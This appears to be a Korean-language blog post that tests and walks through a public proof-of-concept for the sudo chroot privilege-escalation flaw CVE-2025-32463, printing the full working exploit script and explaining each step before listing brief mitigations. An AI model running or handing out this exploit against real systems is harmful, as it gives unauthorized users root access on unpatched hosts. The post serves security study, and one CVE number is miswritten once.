sudo LPE 취약점 CVE-2025-32463 PoC

dirty cow 포스팅을 수정하려고 dirty cow가 터지는 배포판을 찾던 중에 우분투 홈페이지에서 봇이 말을걸어왔다.

대답해줬더니 진짜 사람이 나타나서 응답 해 주는것이 아닌가?!

chat

그러면서 최근 발견된 LPE CVE를 하나 알려주고 갔다.

테스트를 안해볼수가 없지 않은가?

그래서 CVE-2025-34263 포스팅을 시작하겠다.


1. CVE-2025-32463

이 취약점은 Local Privilege Escalation(LPE) 취약점이고,

sudo 1.9.14 ~ 1.9.17 버전에서 터진다.


2. 테스트

자 다음 사진을 보자.

poc

여러분 보기 편하라고 마지막에 whoami 도 한번 해줬다.

우선 현재 sudo 버전은 1.9.15 로 취약점이 터지는 버전이다.

그리고 hacker 계정은 sudoers에 추가가 되어있지 않기 때문에 sudo 명령을 사용할 수 없다.

실제로 sudo 명령 사용에 다음 결과를 볼 수 있다.

hacker@CT-buntuslave:~/CVE-2025-32463_chwoot$ sudo su [sudo] password for hacker: hacker is not in the sudoers file. This incident has been reported to the administrator.

그리고 PoC실행 결과 귀신같이 root 쉘이 떨어지는 것을 볼 수 있다.


3. 코드 분석

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/bin/bash
# sudo-chwoot.sh
# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
#                  @ Stratascale Cyber Research Unit (CRU)
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1

cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void woot(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  execl("/bin/bash", "/bin/bash", NULL);
}
EOF

mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}

필자가 사용한 PoC 코드다. https://github.com/pr0v3rbs/CVE-2025-32463_chwoot 주소에 공개되어 있다.

천천히 한번 분석해보겠다.


1. 임시폴더 생성

먼저 /tmp 경로에 sudowoot~ 어쩌고 하는 임시 경로를 만들고 있다. 만약 실패하면 실행을 종료한다.

1
2
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1

2. 임시 폴더에 권한상승 코드 파일 생성

누가봐도 setuid, setgid로 root 권한의 shell을 실행하는 c코드다. woot133.c 라는 파일로 생성한다.

함수 이름은 woot 다. 기억하자.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void woot(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  execl("/bin/bash", "/bin/bash", NULL);
}
EOF

3. 권한 상승 준비 작업

임시 폴더에서 woot/etc, libnss_ 경로를 만들고

woot/etc/nsswitch.conf 파일에 “passwd: /woot1337” 이라는 구문을 입력한다.

자 이때 /etc/nsswitch.conf 파일이 중요한데, nsswitch.conf 파일은 NSS의 설정 파일로, UNIX 계열 운영체제에서 어느 파일에 사용자 인증 정보가 기록되어있는지 설정을 저장하는 파일이다.

따라서 위 설정 파일을 분석하면 “사용자 인증 정보 는 /woot1337 파일에 있어” 라는 말과 같다는 것이다.

그리고는 /etc/group 파일을 woot/etc 경로로 복사한다.

앞서 작성했던 root 권한으로 쉘을 실행하는 코드를 빌드한다.

gcc가 뭔지 모른다면.. 이글을 읽기전에 기본 부터 공부하고 오세요 :)

옵션의미
-shared공유 라이브러리(Shared Object) 생성. 즉 .so 파일 생성
-fPICPosition Independent Code.
공유 라이브러리(.so)는 메모리에 어디에 로드될지 모르므로, 코드가 위치 독립적으로 컴파일
-Wl,-init,woot링커(ld)에 -init 옵션 전달:
libnss_*.so.2 로드 시 woot() 함수를 자동으로 실행하라는 의미
-o libnss_/woot1337.so.2출력 파일 이름:
libnss_/woot1337.so.2로 저장
1
2
3
4
mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

4. 권한 상승

sudo -R <경로> <명령> 형태의 명령을 볼 수 있다.

sudo -R 옵션은 chroot 기능을 수행한다. 루트 디렉토리를 변경하는 기능이다.

즉 현재 임시파일 경로에 있는 woot 경로를 root 로 만든다.

sudo -R woot woot 경로는 woot 경로를 root 로 만들고, 아까 우리가 c 파일에 작성했던 woot 함수를 실행하라는 뜻과 같다.

그런데, 이 때 우리는 3단계에서 woot 경로 안에 etc/nsswitch.conf 파일을 만들었고, “passwd: /woot1337” 이라는 내용을 작성했다.

그리고 woot1337.so.2 라는 공유 라이브러리를 libnss_ 경로 아래에 생성했다.

sudo는 사용자가 루트 권한으로 어떤 명령을 실행할 수 있는지 확인하기 위해 아래 두 가지를 반드시 수행한다.

1️⃣ 현재 사용자가 누구인지 확인 • getpwuid(), getpwnam(), getgrnam() 같은 함수 호출 → 이 함수들은 내부적으로 **glibc NSS(Name Service Switch)**를 통해 /etc/passwd나 LDAP 등에서 사용자 정보를 찾는다

2️⃣ sudoers 파일(/etc/sudoers)에 규칙이 있는지 확인 • 현재 사용자가 sudo로 실행할 수 있는지 판단하려면, 사용자 이름, 그룹 정보를 가져와야 함 → 이때도 NSS를 거친다.

따라서 NSS가 nsswitch.conf 를 무조건 참고하게 되는데,

이때 chroot -R woot woot 으로 루트 디렉토리가 변경되었다. /tmp/sudowoot~/woot/etc 로 말이다.

따라서 NSS는 /tmp/sudowoot~/woot/etc/woot1337.so.2 모듈을 로드하고, woot 함수를 실행한다.

그런데 woot 함수는 루트 권한의 bash를 실행하는 함수다.

게임 끝.

1
2
3
echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}

4. Mitigation(완화책)

우선은.. 포인트가 두 개 정도 있는거 같다.

  1. sudo 버전을 업데이트 하는 것.
  2. gcc 실행 권한을 제한 하는것.

또 다른 좋은 방지법이 있을까? 흠.. 고민해봐야겠다.